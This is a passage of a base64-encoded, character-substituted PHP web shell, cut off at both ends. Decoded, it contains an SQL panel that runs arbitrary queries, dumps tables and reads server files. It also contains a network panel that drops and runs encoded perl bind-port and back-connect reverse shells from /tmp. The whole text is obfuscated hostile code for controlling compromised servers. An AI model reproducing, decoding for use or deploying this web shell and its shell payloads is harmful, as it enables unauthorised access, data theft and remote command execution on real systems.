XQ1eHQgbjFtNT1zcWxfYjFzNSB2MWwzNT0nJz4iOw0KICAgICAgICA0Zig0c3M1dCgkX1BPU1RbJ3NxbF9oMnN0J10pKXsNCiAgICAgICAgICAgICAgICA0ZigkZGItPmMybm41Y3QoJF9QT1NUWydzcWxfaDJzdCddLCAkX1BPU1RbJ3NxbF9sMmc0biddLCAkX1BPU1RbJ3NxbF9wMXNzJ10sICRfUE9TVFsnc3FsX2IxczUnXSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIHN3NHRjaCgkX1BPU1RbJ2NoMXJzNXQnXSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjMXM1ICJXNG5kMndzLTZhaTYiOiAkZGItPnM1dENoMXJzNXQoJ2NwNmFpNicpOyBicjUxazsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYzFzNSAiVVRGLTgiOiAkZGItPnM1dENoMXJzNXQoJzN0ZjgnKTsgYnI1MWs7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGMxczUgIktPSTgtUiI6ICRkYi0+czV0Q2gxcnM1dCgnazI0OHInKTsgYnI1MWs7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGMxczUgIktPSTgtVSI6ICRkYi0+czV0Q2gxcnM1dCgnazI0ODMnKTsgYnI1MWs7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGMxczUgImNwOGVlIjogJGRiLT5zNXRDaDFyczV0KCdjcDhlZScpOyBicjUxazsNCgkJCQkJCQkJYzFzNSAiVElTZWEwIjogJGRiLT5zNXRDaDFyczV0KCd0NHNlYTAnKTsgYnI1MWs7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAkZGItPmw0c3REYnMoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgIjxzNWw1Y3QgbjFtNT1zcWxfYjFzNT48MnB0NDJuIHYxbDM1PScnPjwvMnB0NDJuPiI7DQogICAgICAgICAgICAgICAgICAgICAgICB3aDRsNSgkNHQ1bSA9ICRkYi0+ZjV0Y2goKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsNHN0KCRrNXksICR2MWwzNSkgPSA1MWNoKCQ0dDVtKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNWNoMiAnPDJwdDQybiB2MWwzNT0iJy4kdjFsMzUuJyIgJy4oJHYxbDM1PT0kX1BPU1RbJ3NxbF9iMXM1J10/J3M1bDVjdDVkJzonJykuJz4nLiR2MWwzNS4nPC8ycHQ0Mm4+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgJzwvczVsNWN0Pic7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIDVsczUgNWNoMiAkdG1wOw0KICAgICAgICB9NWxzNQ0KICAgICAgICAgICAgICAgIDVjaDIgJHRtcDsNCiAgICAgICAgNWNoMiAiPC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0nPj4nIDJuY2w0Y2s9J2ZzKGQuc2YpOyc+PC90ZD4NCiAgICAgICAgICAgICAgIDx0ZD48NG5wM3QgdHlwNT1jaDVja2IyeCBuMW01PXNxbF9jMjNudCB2MWwzNT0nMm4nIiAuICg1bXB0eSgkX1BPU1RbJ3NxbF9jMjNudCddKT8nJzonIGNoNWNrNWQnKSAuICI+ICYjb2k5YTsmI29lb2k7JiNvZTA5OyYjb2VhbzsmI29lMDk7JiNvZXU5OyYjb2UwZTsmI29lYW87PC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+DQogICAgICAgICAgICAgICAgPC90MWJsNT4NCiAgICAgICAgICAgICAgICA8c2NyNHB0Pg0KICAgICAgICAgICBzX2RiPSciLkAxZGRzbDFzaDVzKCRfUE9TVFsnc3FsX2IxczUnXSkuIic7DQogICAgICAgICAgIGYzbmN0NDJuIGZzKGYpIHsNCiAgICAgICAgICAgICAgIDRmKGYuc3FsX2IxczUudjFsMzUhPXNfZGIpIHsgZi4ybnMzYm00dCA9IGYzbmN0NDJuKCkge307DQogICAgICAgICAgICAgICAgICAgNGYoZi5wNikgZi5wNi52MWwzNT0nJzsNCiAgICAgICAgICAgICAgICAgICA0ZihmLnBhKSBmLnBhLnYxbDM1PScnOw0KICAgICAgICAgICAgICAgICAgIDRmKGYucG8pIGYucG8udjFsMzU9Jyc7DQogICAgICAgICAgICAgICB9DQogICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIGYzbmN0NDJuIHN0KHQsbCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkLnNmLnA2LnYxbDM1ID0gJ3M1bDVjdCc7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGQuc2YucGEudjFsMzUgPSB0Ow0KICAgICAgICAgICAgICAgNGYobCAmJiBkLnNmLnBvKSBkLnNmLnBvLnYxbDM1ID0gbDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZC5zZi5zM2JtNHQoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIGYzbmN0NDJuIDRzKCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmMnIoND0wOzQ8ZC5zZi41bDVtNW50c1sndGJsW10nXS5sNW5ndGg7Kys0KQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGQuc2YuNWw1bTVudHNbJ3RibFtdJ11bNF0uY2g1Y2s1ZCA9ICFkLnNmLjVsNW01bnRzWyd0YmxbXSddWzRdLmNoNWNrNWQ7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgPC9zY3I0cHQ+IjsNCiAgICAgICAgNGYoNHNzNXQoJGRiKSAmJiAkZGItPmw0bmspew0KICAgICAgICAgICAgICAgIDVjaDIgIjxici8+PHQxYmw1IHc0ZHRoPTYwMCUgYzVsbHAxZGQ0bmc9YSBjNWxsc3AxYzRuZz0wPiI7DQogICAgICAgICAgICAgICAgICAgICAgICA0ZighNW1wdHkoJF9QT1NUWydzcWxfYjFzNSddKSl7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkYi0+czVsNWN0ZGIoJF9QT1NUWydzcWxfYjFzNSddKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNWNoMiAiPHRyPjx0ZCB3NGR0aD02IHN0eWw1PSdiMnJkNXItdDJwOmFweCBzMmw0ZCAjZWVlOyc+PHNwMW4+JiNvZTBpOyYjb2VvdTsmI29lNjk7JiNvZW91OyYjb2k5Njs6PC9zcDFuPjxicj48YnI+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRibHNfcjVzID0gJGRiLT5sNHN0VDFibDVzKCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdoNGw1KCQ0dDVtID0gJGRiLT5mNXRjaCgkdGJsc19yNXMpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbDRzdCgkazV5LCAkdjFsMzUpID0gNTFjaCgkNHQ1bSk7DQogICAgICAgICAgICAgICAgICAgIDRmKCE1bXB0eSgkX1BPU1RbJ3NxbF9jMjNudCddKSkNCiAgICAgICAgICAgICAgICAgICAgICAgICRuID0gJGRiLT5mNXRjaCgkZGItPnEzNXJ5KCdTRUxFQ1QgQ09VTlQoKikgMXMgbiBGUk9NICcuJHYxbDM1LicnKSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHYxbDM1ID0gaHRtbHNwNWM0MWxjaDFycygkdjFsMzUpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgIjxuMmJyPjw0bnAzdCB0eXA1PSdjaDVja2IyeCcgbjFtNT0ndGJsW10nIHYxbDM1PSciLiR2MWwzNS4iJz4mbmJzcDs8MSBocjVmPSMgMm5jbDRjaz1cInN0KCciLiR2MWwzNS4iJyw2KVwiPiIuJHYxbDM1LiI8LzE+IiAuICg1bXB0eSgkX1BPU1RbJ3NxbF9jMjNudCddKT8nJm5ic3A7JzoiIDxzbTFsbD4oeyRuWyduJ119KTwvc20xbGw+IikgLiAiPC9uMmJyPjxicj4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgIjw0bnAzdCB0eXA1PSdjaDVja2IyeCcgMm5jbDRjaz0nNHMoKTsnPiA8NG5wM3QgdHlwNT1iM3R0Mm4gdjFsMzU9J0QzbXAnIDJuY2w0Y2s9J2QyYzNtNW50LnNmLnBhLnYxbDM1PVwiZDJ3bmwyMWRcIjtkMmMzbTVudC5zZi5zM2JtNHQoKTsnPjxicj5GNGw1IHAxdGg6PDRucDN0IHR5cDU9dDV4dCBuMW01PWY0bDUgdjFsMzU9J2QzbXAuc3FsJz48L3RkPjx0ZCBzdHlsNT0nYjJyZDVyLXQycDphcHggczJsNGQgI2VlZTsnPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDRmKEAkX1BPU1RbJ3A2J10gPT0gJ3M1bDVjdCcpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkX1BPU1RbJ3A2J10gPSAncTM1cnknOw0KICAgICAgICAgICAgICAgICAgICAkX1BPU1RbJ3BvJ10gPSAkX1BPU1RbJ3BvJ10/JF9QT1NUWydwbyddOjY7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGRiLT5xMzVyeSgnU0VMRUNUIENPVU5UKCopIDFzIG4gRlJPTSAnIC4gJF9QT1NUWydwYSddKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbjNtID0gJGRiLT5mNXRjaCgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwMWc1cyA9IGM1NGwoJG4zbVsnbiddIC8gbzApOw0KICAgICAgICAgICAgICAgICAgICA1Y2gyICI8c2NyNHB0PmQuc2YuMm5zM2JtNHQ9ZjNuY3Q0Mm4oKXtzdChcIiIgLiAkX1BPU1RbJ3BhJ10gLiAiXCIsIGQuc2YucG8udjFsMzUpfTwvc2NyNHB0PjxzcDFuPiIuJF9QT1NUWydwYSddLiI8L3NwMW4+ICh7JG4zbVsnbiddfSByNWMycmRzKSBQMWc1ICMgPDRucDN0IHR5cDU9dDV4dCBuMW01PSdwbycgdjFsMzU9IiAuICgoNG50KSRfUE9TVFsncG8nXSkgLiAiPiI7DQogICAgICAgICAgICAgICAgICAgIDVjaDIgIiAyZiAkcDFnNXMiOw0KICAgICAgICAgICAgICAgICAgICA0ZigkX1BPU1RbJ3BvJ10gPiA2KQ0KICAgICAgICAgICAgICAgICAgICAgICAgNWNoMiAiIDwxIGhyNWY9IyAybmNsNGNrPSdzdChcIiIgLiAkX1BPU1RbJ3BhJ10gLiAnIiwgJyAuICgkX1BPU1RbJ3BvJ10tNikgLiAiKSc+Jmx0OyBQcjV2PC8xPiI7DQogICAgICAgICAgICAgICAgICAgIDRmKCRfUE9TVFsncG8nXSA8ICRwMWc1cykNCiAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgIiA8MSBocjVmPSMgMm5jbDRjaz0nc3QoXCIiIC4gJF9QT1NUWydwYSddIC4gJyIsICcgLiAoJF9QT1NUWydwbyddKzYpIC4gIiknPk41eHQgJmd0OzwvMT4iOw0KICAgICAgICAgICAgICAgICAgICAkX1BPU1RbJ3BvJ10tLTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA0ZigkX1BPU1RbJ3R5cDUnXT09J3Bnc3FsJykNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRfUE9TVFsncGEnXSA9ICdTRUxFQ1QgKiBGUk9NICcuJF9QT1NUWydwYSddLicgTElNSVQgbzAgT0ZGU0VUICcuKCRfUE9TVFsncG8nXSpvMCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNWxzNQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJF9QT1NUWydwYSddID0gJ1NFTEVDVCAqIEZST00gYCcuJF9QT1NUWydwYSddLidgIExJTUlUICcuKCRfUE9TVFsncG8nXSpvMCkuJyxvMCc7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNWNoMiAiPGJyPjxicj4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDRmKChAJF9QT1NUWydwNiddID09ICdxMzVyeScpICYmICE1bXB0eSgkX1BPU1RbJ3BhJ10pKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGRiLT5xMzVyeShAJF9QT1NUWydwYSddKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA0ZigkZGItPnI1cyAhPT0gZjFsczUpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0NHRsNSA9IGYxbHM1Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNWNoMiAnPHQxYmw1IHc0ZHRoPTYwMCUgYzVsbHNwMWM0bmc9NiBjNWxscDFkZDRuZz1hIGNsMXNzPW0xNG4gc3R5bDU9ImIxY2tncjIzbmQtYzJsMnI6I2E5YTlhOSI+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsNG41ID0gNjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdoNGw1KCQ0dDVtID0gJGRiLT5mNXRjaCgpKSAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA0ZighJHQ0dGw1KSAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgJzx0cj4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGYycjUxY2goJDR0NW0gMXMgJGs1eSA9PiAkdjFsMzUpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA1Y2gyICc8dGg+Jy4kazV5Lic8L3RoPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcjVzNXQoJDR0NW0pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0NHRsNT10cjM1Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgJzwvdHI+PHRyPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGw0bjUgPSBhOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgJzx0ciBjbDFzcz0ibCcuJGw0bjUuJyI+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGw0bjUgPSAkbDRuNT09Nj9hOjY7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGYycjUxY2goJDR0NW0gMXMgJGs1eSA9PiAkdjFsMzUpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA0ZigkdjFsMzUgPT0gbjNsbCkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgJzx0ZD48ND5uM2xsPC80PjwvdGQ+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA1bHM1DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA1Y2gyICc8dGQ+Jy5ubGFicihodG1sc3A1YzQxbGNoMXJzKCR2MWwzNSkpLic8L3RkPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNWNoMiAnPC90cj4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNWNoMiAnPC90MWJsNT4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA1Y2gyICc8ZDR2PjxiPkVycjJyOjwvYj4gJy5odG1sc3A1YzQxbGNoMXJzKCRkYi0+NXJyMnIoKSkuJzwvZDR2Pic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgIjxicj48L2Yycm0+PGYycm0gMm5zM2JtNHQ9J2Quc2YucDYudjFsMzU9XCJxMzVyeVwiO2Quc2YucGEudjFsMzU9dGg0cy5xMzVyeS52MWwzNTtkMmMzbTVudC5zZi5zM2JtNHQoKTtyNXQzcm4gZjFsczU7Jz48dDV4dDFyNTEgbjFtNT0ncTM1cnknIHN0eWw1PSd3NGR0aDo2MDAlO2g1NGdodDo2MDBweCc+IjsNCiAgICAgICAgICAgICAgICA0ZighNW1wdHkoJF9QT1NUWydwYSddKSAmJiAoJF9QT1NUWydwNiddICE9ICdsMjFkZjRsNScpKQ0KICAgICAgICAgICAgICAgICAgICA1Y2gyIGh0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydwYSddKTsNCiAgICAgICAgICAgICAgICA1Y2gyICI8L3Q1eHQxcjUxPjxici8+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSdFeDVjM3Q1Jz4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA1Y2gyICI8L3RkPjwvdHI+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgIjwvdDFibDU+PC9mMnJtPjxici8+IjsNCiAgICAgICAgICAgIDRmKCRfUE9TVFsndHlwNSddPT0nbXlzcWwnKSB7DQogICAgICAgICAgICAgICAgJGRiLT5xMzVyeSgiU0VMRUNUIDYgRlJPTSBteXNxbC4zczVyIFdIRVJFIGMybmMxdChgM3M1cmAsICdAJywgYGgyc3RgKSA9IFVTRVIoKSBBTkQgYEY0bDVfcHI0dmAgPSAneSciKTsNCiAgICAgICAgICAgICAgICA0ZigkZGItPmY1dGNoKCkpDQogICAgICAgICAgICAgICAgICAgIDVjaDIgIjxmMnJtIDJuczNibTR0PSdkLnNmLnA2LnYxbDM1PVwibDIxZGY0bDVcIjtkMmMzbTVudC5zZi5wYS52MWwzNT10aDRzLmYudjFsMzU7ZDJjM201bnQuc2YuczNibTR0KCk7cjV0M3JuIGYxbHM1Oyc+PHNwMW4+TDIxZCBmNGw1PC9zcDFuPiA8NG5wM3QgIGNsMXNzPSd0MjJsc0lucCcgdHlwNT10NXh0IG4xbTU9Zj48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Jz4+Jz48L2Yycm0+IjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIDRmKEAkX1BPU1RbJ3A2J10gPT0gJ2wyMWRmNGw1Jykgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZjRsNSA9ICRkYi0+bDIxZEY0bDUoJF9QT1NUWydwYSddKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNWNoMiAnPHByNSBjbDFzcz1tbDY+Jy5odG1sc3A1YzQxbGNoMXJzKCRmNGw1WydmNGw1J10pLic8L3ByNT4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICB9IDVsczUgew0KICAgICAgICA1Y2gyIGh0bWxzcDVjNDFsY2gxcnMoJGRiLT41cnIycigpKTsNCiAgICB9DQogICAgICAgIDVjaDIgJzwvZDR2Pic7DQogICAgICAgIEJPRkZGMjJ0NXIoKTsNCn0NCmYzbmN0NDJuIDFjdDQybk41dHcycmsoKSB7DQogICAgICAgIEJPRkZINTFkNXIoKTsNCiAgICAgICAgJGIxY2tfYzJubjVjdF9wPSJJeUV2ZFhOeUxhSnBiNDl3WlhKc0RRcDZjYVVnVWE5ajFhVjBPdzBLSkdsaFpHUnlQV2wzWlhSZllYUnZiNGdrUVZKSFZsc3dYU2tnZkh3Z1pHbGxLQ0pGY25KdmNqMmdKQ0ZjYjRJcE93MEtKSEJoWkdSeVBYTnZZYXRoWkdSeVhhbDNLQ1JCVWtkV1d6RmRMQ0FrMVdGa1pISXBJSHg4SUdScFpTZzRSWEp5Ym9JZUlDUWhYR3U0S1RzTkM0UndjbTkwYno2blpYUndjbTkwYmFKaWJtRnRaU2duZEdOd0p5azdEUXB6YmFOclpYUTJVMDlEUzBWVUxDQlFSbDlKVGtWVUxDQlRUME5MWDZOVVVrVkJUU3dnSkhCeWJvUnZLU0I4ZkNCazFXVTJJa1Z5Y205eU80QWtJVngzSTRrN0RRcGpiYWkzWldOMEtGTlBRMHRGVkN3Z0pIQmhaR1J5S1NCOGZDQmsxV1UySWtWeWNtOXlPNEFrSVZ4M0k0azdEUXB2Y0dWM0tGTlVSRWxPTENBNFA0WlRUME5MUlZRNEtUc05DbTl3Wld1MlU2UkVUNlZVTENBNFA0WlRUME5MUlZRNEtUc05DbTl3Wld1MlU2UkVSVkpTTENBNFA0WlRUME5MUlZRNEtUc05Dbk5pY29SbGJTZ25MYUpwYjQ5ejFDQXQxU2NwT3cwS1lheHZjYVUyVTZSRVNVdXBPdzBLWWF4dmNhVTJVNlJFVDZWVUtUc05DbU5zYm9ObEtGTlVSRVZTVTRrNyI7DQogICAgICAgICRiNG5kX3AycnRfcD0iSXlFdmRYTnlMYUpwYjQ5d1pYSnNEUTJrVTBoRlRFdzlJNDk0MVd1dmNhZ2dMV2s0T3cwSzFXWWdLRUJCVWtkV0lEd2dNU2tnNXlCbDVHbDBLREVwT3lCOURRcDZjYVVnVWE5ajFhVjBPdzBLY2E5ajFhVjBLRk1zSmxCR1gwbE9SVlFzSmxOUFEwdGZVNlJTUlVGTkxHZGxkSEJ5Ym9SdllubDNZVzZsS0NkMFlvQW5LU2tnZkh3Z1pHbGxJQ0pEWVdpMElHTnlaV0YwWlNCemJhTnJaWFJjYjRJN0RRcHpaWFJ6YmFOcmJvQjBLRk1zVTA5TVg2TlBRMHRGVkN4VFQ2OVNSVlZUUlVGRVJGSXNNU2s3RFFwNDFXaWtLRk1zY2E5ajFhRmtaSEpmMVd1MkpFRlNSNlpiTUYwc1NVaUJSRVJTWDBGT1dTa3BJSHg4SUdScFpTQTRRYUYzZENCdmNHVjNJSEJ2Y25SY2I0STdEUXBzMVhOMFpXdTJVeXd6S1NCOGZDQmsxV1VnSWtOaGJuUWdiR2x6ZEdWM0lIQnZjblJjYjRJN0RRcG8xR2xzWlNneEtTQjdEUTJKWVdOalpYQjBLRU5QVGt1c1V5azdEUTJKMVdZMklTZ2tjR2xrUFdadmNtc3BLU0I3RFEySkNXUnBaU0E0UWFGM2JtOTBJR1p2Y21zNElHbG1JQ2doWkdWbTFXaWxaQ0FrY0dsa0tUc05DZ2tKYm9CbGI0QlRWRVJKVDR3NFBDWkRUMGlPSWpzTkNna0pib0JsYjRCVFZFUlBWVlFzSWp1bVEwOU9UNEk3RFEySkNXOXdaV3VnVTZSRVJWSlNMQ0krSmtOUFRrdTRPdzBLQ1FsbDVHVmpJQ1JUU0VWTVRDQjhmQ0JrMVdVZ2NISnBiblFnUTA5T1Q0QTRRYUYzZENCbDVHVmpkWFJsSUNSVFNFVk1URngzSWpzTkNna0pZYXh2Y2FVZ1EwOU9UanNOQ2drSlpYaHBkQ0F3T3cwS0NYME5DbjA9IjsNCiAgICAgICAgNWNoMiAiPGg2PiYjb2V1ODsmI29pODg7JiNvZTY5OyYjb2VvOTsmI29laWU7JiNvZWE5OyYjb2k5NjsmI29lNjc7JiNvZW85OyYjb2VhOTsmI29lYWU7JiNvZW9pOyYjb2VhNzsmI29lNjk7JiNvZW9vOyYjb2U2MDsmI29ldTg7JiNvaTg4OyYjb2U2OTsmI29lbzk7JiNvZWE5OyYjb2k4ZTsmI29laWU7JiNvZW91OyYjb2U2ODs8L2g2PjxkNHYgY2wxc3M9YzJudDVudD4NCiAgICAgICAgPGYycm0gbjFtNT0nbmZwJyAyblMzYm00dD1cImcobjNsbCxuM2xsLCdicHAnLHRoNHMucDJydC52MWwzNSk7cjV0M3JuIGYxbHM1O1wiPg0KICAgICAgICA8c3Axbj4mI29ldTg7JiNvaTl1OyYjb2VvOTsmI29laWU7JiNvZWE5OyYjb2U2NzsgUDJydCAmI29laWE7JiNvZTY2OyYjb2UwNzsmI29lbzc7JiNvZWllOyAvYjRuL3NoIFtwNXJsXTwvc3Axbj48YnIvPg0KICAgICAgICBQMnJ0OiA8NG5wM3QgdHlwNT0ndDV4dCcgbjFtNT0ncDJydCcgdjFsMzU9J282b283Jz4gPDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSc+Pic+DQogICAgICAgIDwvZjJybT4NCiAgICAgICAgPGYycm0gbjFtNT0nbmZwJyAyblMzYm00dD1cImcobjNsbCxuM2xsLCdiY3AnLHRoNHMuczVydjVyLnYxbDM1LHRoNHMucDJydC52MWwzNSk7cjV0M3JuIGYxbHM1O1wiPg0KICAgICAgICA8c3Axbj4mI29pOGk7JiNvZWE2OyYjb2VvbzsmI29lNjA7JiNvZWlhOyYjb2U2NjsmI29ldTg7JiNvaTl1OyYjb2VvOTsmI29laWU7JiNvZWE5OyYjb2U2NzsmI29lMGk7JiNvZWllOyYjb2VhOTsgIFtwNXJsXTwvc3Axbj48YnIvPg0KICAgICAgICBTNXJ2NXI6IDw0bnAzdCB0eXA1PSd0NXh0JyBuMW01PSdzNXJ2NXInIHYxbDM1PSciLiAkX1NFUlZFUlsnUkVNT1RFX0FERFInXSAuIic+IFAycnQ6IDw0bnAzdCB0eXA1PSd0NXh0JyBuMW01PSdwMnJ0JyB2MWwzNT0nbzZvbzcnPiA8NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Jz4+Jz4NCiAgICAgICAgPC9mMnJtPjxicj4iOw0KICAgICAgICA0Zig0c3M1dCgkX1BPU1RbJ3A2J10pKSB7DQogICAgICAgICAgICAgICAgZjNuY3Q0Mm4gY2YoJGYsJHQpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICR3ID0gQGYycDVuKCRmLCJ3IikgMnIgQGYzbmN0NDJuXzV4NHN0cygnZjRsNV9wM3RfYzJudDVudHMnKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIDRmKCR3KXsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQGZ3cjR0NSgkdyxAYjFzNWV1X2Q1YzJkNSgkdCkpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBAZmNsMnM1KCR3KTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgNGYoJF9QT1NUWydwNiddID09ICdicHAnKSB7DQogICAgICAgICAgICAgICAgICAgICAgICBjZigiL3RtcC9icC5wbCIsJGI0bmRfcDJydF9wKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICQyM3QgPSBCT0ZGRXgoInA1cmwgL3RtcC9icC5wbCAiLiRfUE9TVFsncGEnXS4iIDY+L2Q1di9uM2xsIGE+JjYgJiIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgNWNoMiAiPHByNSBjbDFzcz1tbDY+JDIzdFxuIi5CT0ZGRXgoInBzIDEzeCB8IGdyNXAgYnAucGwiKS4iPC9wcjU+IjsNCiAgICAgICAgICAgIDNubDRuaygiL3RtcC9icC5wbCIpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICA0ZigkX1BPU1RbJ3A2J10gPT0gJ2JjcCcpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGNmKCIvdG1wL2JjLnBsIiwkYjFja19jMm5uNWN0X3ApOw0KICAgICAgICAgICAgICAgICAgICAgICAgJDIzdCA9IEJPRkZFeCgicDVybCAvdG1wL2JjLnBsICIuJF9QT1NUWydwYS